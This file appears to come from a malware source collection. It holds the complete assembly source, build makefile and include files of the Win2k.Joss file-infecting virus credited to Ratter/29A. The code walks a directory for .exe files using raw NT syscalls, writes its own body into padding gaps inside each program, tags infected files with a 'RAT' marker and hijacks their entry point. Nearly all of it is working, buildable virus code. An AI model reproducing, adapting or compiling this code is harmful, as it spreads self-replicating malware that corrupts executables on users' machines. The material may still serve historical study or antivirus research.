MalwareSourceCode/LegacyWindows/Win2k/Win2k.Joss.asm
2020-10-16 22:28:58 +02:00

716 lines
14 KiB
NASM

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.ASM]ÄÄÄ
; Win2k.Joss by Ratter/29A
.586p
.model flat, stdcall
locals
include useful.inc
include win32api.inc
include mz.inc
include pe.inc
include my_macroz.inc
NtOpenFile equ 64h
NtQueryDirectoryFile equ 7dh
NtClose equ 18h
NtCreateSection equ 2bh
NtMapViewOfSection equ 5dh
NtUnmapViewOfSection equ 0e7h
unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends
path_name struc
pn_name dw MAX_PATH dup(?)
path_name ends
object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends
pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends
@asciiz_to_unicode macro
xor ah, ah
lodsb
stosw
test al, al
jz $+4
jmp $-7
endm
@syscall macro fc, paramz
mov eax, fc
mov edx, esp
int 2eh
add esp, (paramz*4)
endm
.data
db ?
.code
start_:
_joss_start_ equ $
pushad
@SEH_SetupFrame <jmp joss_end>
bt dword ptr [esp+8+cPushad], 31
jc joss_end
start proc near
local trailings:unicode_string
local trailings_point_dir:path_name
local object_attribz:object_attributes
local dhandle:DWORD
local io_status_block:pio_status_block
local find_buffer:path_name
local wfnd:WIN32_FIND_DATA
mov dword ptr [trailings], 80008h
lea eax, [trailings_point_dir]
mov dword ptr [trailings.us_pstring], eax
@pushsz "\??\"
pop esi
xchg eax, edi
@asciiz_to_unicode
xor ecx, ecx
mov esi, 20290h
movzx eax, word ptr [trailings]
lea edi, [trailings_point_dir+eax]
lodsw
test ax, ax
jz $+7
inc ecx
stosw
jmp $-10
shl ecx, 1
add cx, word ptr [trailings]
mov ax, cx
shl ecx, 16
mov cx, ax
mov dword ptr [trailings], ecx
xor eax, eax
lea edi, [object_attribz]
push edi
push 18h/4
pop ecx
rep stosd
pop edi
push 18h
pop dword ptr [edi]
lea eax, [trailings]
mov dword ptr [edi+8], eax
push 40h
pop dword ptr [edi+12]
push 4021h
push 03h
lea eax, [io_status_block]
push eax
push edi
push 100001h
lea eax, [dhandle]
push eax
@syscall NtOpenFile, 6
mov ebx, dword ptr [dhandle]
xor ecx, ecx
main_loop:
push ecx
xor eax, eax
push eax
call $+13
dw 0ah
dw 0ah
dd ?
pop esi
call $+15
dw '<', '.', 'e', 'x', 'e'
pop edi
mov dword ptr [esi+4], edi
jecxz $+4
xor esi, esi
push esi
push 1
push 3
push MAX_PATH*2
lea edx, [find_buffer]
push edx
lea edx, [io_status_block]
push edx
push eax
push eax
push eax
push ebx
@syscall NtQueryDirectoryFile, 11
pop ecx
test eax, eax
jnz main_loop_end
push dword ptr [trailings]
lea esi, [find_buffer]
lea edi, [trailings]
call infect_file
pop dword ptr [trailings]
inc ecx
jmp main_loop
main_loop_end:
push ebx
@syscall NtClose, 1
leave
joss_end:
@SEH_RemoveFrame
popad
mov eax, offset end
host_start equ $-4
jmp eax
db 0, "[Win2k.Joss] by Ratter/29A", 0
infect_file proc near
local trailings_point_dir:path_name
local object_attribz:object_attributes
local dhandle:DWORD
local shandle:DWORD
local io_status_block:pio_status_block
local soffset:DWORD
local bytes:DWORD
local soffset_:QWORD
pushad
@SEH_SetupFrame <jmp infect_file_end>
movzx eax, word ptr [edi]
mov edx, dword ptr [edi+4]
push edi
lea edi, [edx+eax]
mov ecx, dword ptr [esi+3ch]
push ecx
lea esi, [esi+5eh]
rep movsb
pop ecx
pop edi
add cx, word ptr [edi]
mov ax, cx
shl ecx, 16
mov cx, ax
mov dword ptr [edi], ecx
xchg edi, esi
xor eax, eax
lea edi, [object_attribz]
push edi
push 18h/4
pop ecx
rep stosd
pop edi
push 18h
pop dword ptr [edi]
mov dword ptr [edi+8], esi
push 40h
pop dword ptr [edi+12]
push 4060h
push 03h
lea eax, [io_status_block]
push eax
push edi
push 100007h
lea eax, [dhandle]
push eax
@syscall NtOpenFile, 6
test eax, eax
jnz infect_file_end
xor eax, eax
push dword ptr [dhandle]
push 08000000h
push PAGE_READWRITE
push eax
push eax
push 0f0007h
lea eax, [shandle]
push eax
@syscall NtCreateSection, 7
test eax, eax
jnz infect_file_end_close_file
lea edi, [soffset]
std
mov ecx, 4
xor eax, eax
rep stosd
cld
xor eax, eax
push 4
push eax
push 1
lea edx, [bytes]
push edx
lea edx, [soffset_]
push edx
push eax
push eax
lea eax, [soffset]
push eax
push -1
push dword ptr [shandle]
@syscall NtMapViewOfSection, 10
test eax, eax
jnz infect_file_end_close_section
mov ebx, dword ptr [soffset]
;
call check_for_valid_pe
jc infect_file_end_unmap_view
jnz infect_file_end_unmap_view
cmp dword ptr [ebx.MZ_res], not "RAT"
jz infect_file_end_unmap_view
mov eax, dword ptr [ebx.MZ_lfanew]
add eax, ebx
movzx edi, word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi, [edi+eax+IMAGE_SIZEOF_FILE_HEADER+4]
mov esi, dword ptr [edi.SH_PointerToRawData]
mov ecx, dword ptr [edi.SH_SizeOfRawData]
add esi, ebx
xor edx, edx
gap_loop:
jecxz gap_loop_end
lodsb
dec ecx
call is_gap
jz $+6
xor edx, edx
jmp gap_loop
inc edx
cmp edx, _joss_end_-_joss_start_
jnz gap_loop
gap_loop_end:
cmp edx, _joss_end_-_joss_start_
jnz infect_file_end_unmap_view
sub esi, _joss_end_-_joss_start_
push esi
sub esi, dword ptr [edi.SH_PointerToRawData]
pop edi
sub esi, ebx
push esi
call $+5
joss_here:
pop esi
sub esi, joss_here-_joss_start_
mov ecx, _joss_end_-_joss_start_
rep movsb
pop esi
mov eax, dword ptr [ebx.MZ_lfanew]
mov dword ptr [ebx.MZ_res], not "RAT"
add eax, ebx
and dword ptr [eax.NT_OptionalHeader.OH_CheckSum], 0
mov ecx, dword ptr [eax.NT_OptionalHeader.OH_ImageBase]
add ecx, dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov dword ptr [edi-(_joss_end_-host_start)], ecx
mov edx, dword ptr [eax.NT_OptionalHeader.OH_BaseOfCode]
add edx, esi
mov dword ptr [eax.NT_OptionalHeader.OH_AddressOfEntryPoint], edx
;
infect_file_end_unmap_view:
push ebx
push -1
@syscall NtUnmapViewOfSection, 2
infect_file_end_close_section:
push dword ptr [shandle]
@syscall NtClose, 1
infect_file_end_close_file:
push dword ptr [dhandle]
@syscall NtClose, 1
infect_file_end:
@SEH_RemoveFrame
popad
leave
retn
infect_file endp
check_for_valid_pe:
pushad
movzx eax, word ptr [ebx]
not eax
cmp eax, not "ZM"
stc
jnz check_for_valid_pe_end
mov edx, dword ptr [ebx.MZ_lfanew]
add edx, ebx
movzx eax, word ptr [edx]
not eax
cmp eax, not "EP"
stc
jnz check_for_valid_pe_end
cmp word ptr [edx.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
stc
jnz check_for_valid_pe_end
movzx eax, word ptr [edx.NT_FileHeader.FH_Characteristics]
not al
test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
clc
check_for_valid_pe_end:
popad
retn
is_gap:
cmp al, 90h
jz is_gap_end
cmp al, 0cch
jz is_gap_end
test al, al
jz is_gap_end
is_gap_end:
retn
_joss_end_ equ $
end:
push 0
calle ExitProcess
start endp
end start_
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.DEF]ÄÄÄ
NAME PREDLOHA WINDOWAPI
DESCRIPTION 'Predloha'
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
EXETYPE WINDOWS
HEAPSIZE 131072
STACKSIZE 131072
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[JOSS.DEF]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_include.inc]ÄÄÄ
SERVICE_TABLE_ENTRY struc
STE_ServiceName dd ?
STE_ServiceProc dd ?
SERVICE_TABLE_ENTRY ends
SERVICE_STATUS struc
SS_ServiceType dd ?
SS_CurrentState dd ?
SS_ControlsAccepted dd ?
SS_Win32ExitCode dd ?
SS_ServiceSpecificExitCode dd ?
SS_CheckPoint dd ?
SS_WaitHint dd ?
SERVICE_STATUS ends
OVERLAPPED struc
O_Internal dd ?
O_InternalHigh dd ?
O_loffset dd ?
O_OffsetHigh dd ?
O_hEvent dd ?
OVERLAPPED ends
sockaddr_in struc
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (?)
sockaddr_in ends
hostent struc
h_name dd ?
h_alias dd ?
h_addr dw ?
h_len dw ?
h_list dd ?
hostent ends
timeval struc
tv_sec dd ?
tv_usec dd ?
timeval ends
fd_set struc
fd_count dd ?
fd_array dd ?
fd_set ends
RASCONNSTATUSA struc
RCS_dwSize dd ?
RCS_rasconnstate dd ?
RCS_dwError dd ?
RCS_szDeviceType db 16 + 1 dup(?)
RCS_szDeviceName db 128 + 1 dup(?)
RASCONNSTATUSA ends
_email_ struc
EM_MailFrom dd ? ; pointer to ASCIIZ
EM_RcptTo dd ? ; pointer to ASCIIZ
EM_Subject dd ? ; pointer to ASCIIZ
EM_Message dd ? ; pointer to ASCIIZ
EM_FilezNum dd ? ; number of filez; if highest bit is set
; then in EM_Filez is a *.msg file
EM_Filez dd ? ; pointer to ASCIIZ pointerz
_email_ ends
SYSTEMTIME struc
ST_Year dw ?
ST_Month dw ?
ST_DayOfWeek dw ?
ST_Day dw ?
ST_Hour dw ?
ST_Minute dw ?
ST_Second dw ?
ST_Milliseconds dw ?
SYSTEMTIME ends
oper struc
OP_Oper dd ?
OP_Rites db ? ; 1 - RW; 0 - Ronly
oper ends
@copy macro source
local copy_end
local copy_loop
push esi
mov esi, source
copy_loop:
lodsb
test al, al
jz copy_end
stosb
jmp copy_loop
copy_end:
pop esi
endm
@endsz_ macro
local nxtchr
push esi
mov esi, edi
nxtchr:
lodsb
test al, al
jnz nxtchr
xchg esi, edi
pop esi
endm
@pushvar macro variable, empty
local next_instr
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
CR_LF equ 0a0dh
WAIT_TIMEOUT equ 103h
SMTP_PORT equ 25
SC_MANAGER_CONNECT equ 1
SC_MANAGER_CREATE_SERVICE equ 2
DELETE equ 10000h
SERVICE_AUTO_START equ 2
SERVICE_WIN32_OWN_PROCESS equ 10h
SERVICE_ACCEPT_SHUTDOWN equ 4
SERVICE_CONTROL_RUN equ 0
CK_SERVICE_CONTROL equ 0
CK_PIPE equ 1
NO_ERROR equ 0
SERVICE_CONTROL_INTERROGATE equ 4
SERVICE_CONTROL_SHUTDOWN equ 5
SERVICE_STOPPED equ 1
SERVICE_START_PENDING equ 2
SERVICE_STOP_PENDING equ 3
SERVICE_RUNNING equ 4
SERVICE_CONTINUE_PENDING equ 5
SERVICE_PAUSE_PENDING equ 6
SERVICE_PAUSED equ 7
PIPE_ACCESS_OUTBOUND equ 2
PIPE_TYPE_BYTE equ 0
FILE_FLAG_OVERLAPPED equ 40000000h
INFINITE equ -1
AF_INET equ 2
HEAP_ZERO_MEMORY equ 8
SOCK_STREAM equ 1
CR_LF equ 0a0dh
MAX_ALLOWED_OPERZ equ 5
SYNCHRONIZE equ 100000h
RASCS_CONNECTED equ 2000h
MOVEFILE_DELAY_UNTIL_REBOOT equ 4
HKEY_LOCAL_MACHINE equ 80000002h
KEY_ENUMERATE_SUB_KEYS equ 8h
HKEY_USERS equ 80000003h
KEY_QUERY_VALUE equ 1
KEY_SET_VALUE equ 2
REG_SZ equ 1
REG_DWORD equ 4
ERROR_NO_MORE_ITEMS equ 259
INET_THREADZ_COUNT equ 2
INTERNET_OPEN_TYPE_DIRECT equ 1
POP3_PORT equ 110
OK equ " KO+"
ERROR equ "RRE-"
SOXZ_PORT equ 1080
STARTUPINFO STRUCT ;used by CreateProcessA API
cb DWORD ?
lpReserved DWORD ?
lpDesktop DWORD ?
lpTitle DWORD ?
dwX DWORD ?
dwY DWORD ?
dwXSize DWORD ?
dwYSize DWORD ?
dwXCountChars DWORD ?
dwYCountChars DWORD ?
dwFillAttribute DWORD ?
dwFlags DWORD ?
wShowWindow WORD ?
cbReserved2 WORD ?
lpReserved2 DWORD ?
hStdInput DWORD ?
hStdOutput DWORD ?
hStdError DWORD ?
STARTUPINFO ENDS
PROCESS_INFORMATION STRUCT
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS
GMEM_ZEROINIT equ 040h
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_include.inc]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_macroz.inc]ÄÄÄ
@pushvar macro variable, empty
local next_instr
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm
@messagebox macro message, empty
ifnb <empty>
%out too much arguments in macro '@pushvar'
.err
endif
push 0
@pushsz "Debug"
@pushsz <message>
push 0
call MessageBoxA
endm
calle macro api
extrn api:PROC
call api
endm
@gimme_delta macro
local gimme_delta
call gimme_delta
gimme_delta:
mov esi, esp
lodsd
sub eax, offset gimme_delta
xchg eax, ebp
mov esp, esi
endm
calla macro api
call dword ptr [ebp+api]
endm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[my_macroz.inc]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKEFILE]ÄÄÄ
# make Will build pemangle.exe
# make -B -DDEBUG Will build the debug version of pemangle.exe
NAME = joss
OBJS = $(NAME).obj
DEF = $(NAME).def
!if $d(DEBUG)
TASMDEBUG=/zi /m
LINKDEBUG=/v
!else
TASMDEBUG=/m
LINKDEBUG=
!endif
!if $d(MAKEDIR)
IMPORT=import32.lib # Edit this to point your own library path
!else
IMPORT=import32.lib # or put the file in the same directory
!endif
$(NAME).EXE: $(OBJS) $(DEF)
tlink32 /Tpe /aa /c /x $(LINKDEBUG) $(OBJS),$(NAME),, $(IMPORT), $(DEF)
pewrite.exe $(NAME).exe
del $(OBJS)
.asm.obj:
tasm32 $(TASMDEBUG) /ml /i..\..\includes $&.asm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKEFILE]ÄÄÄ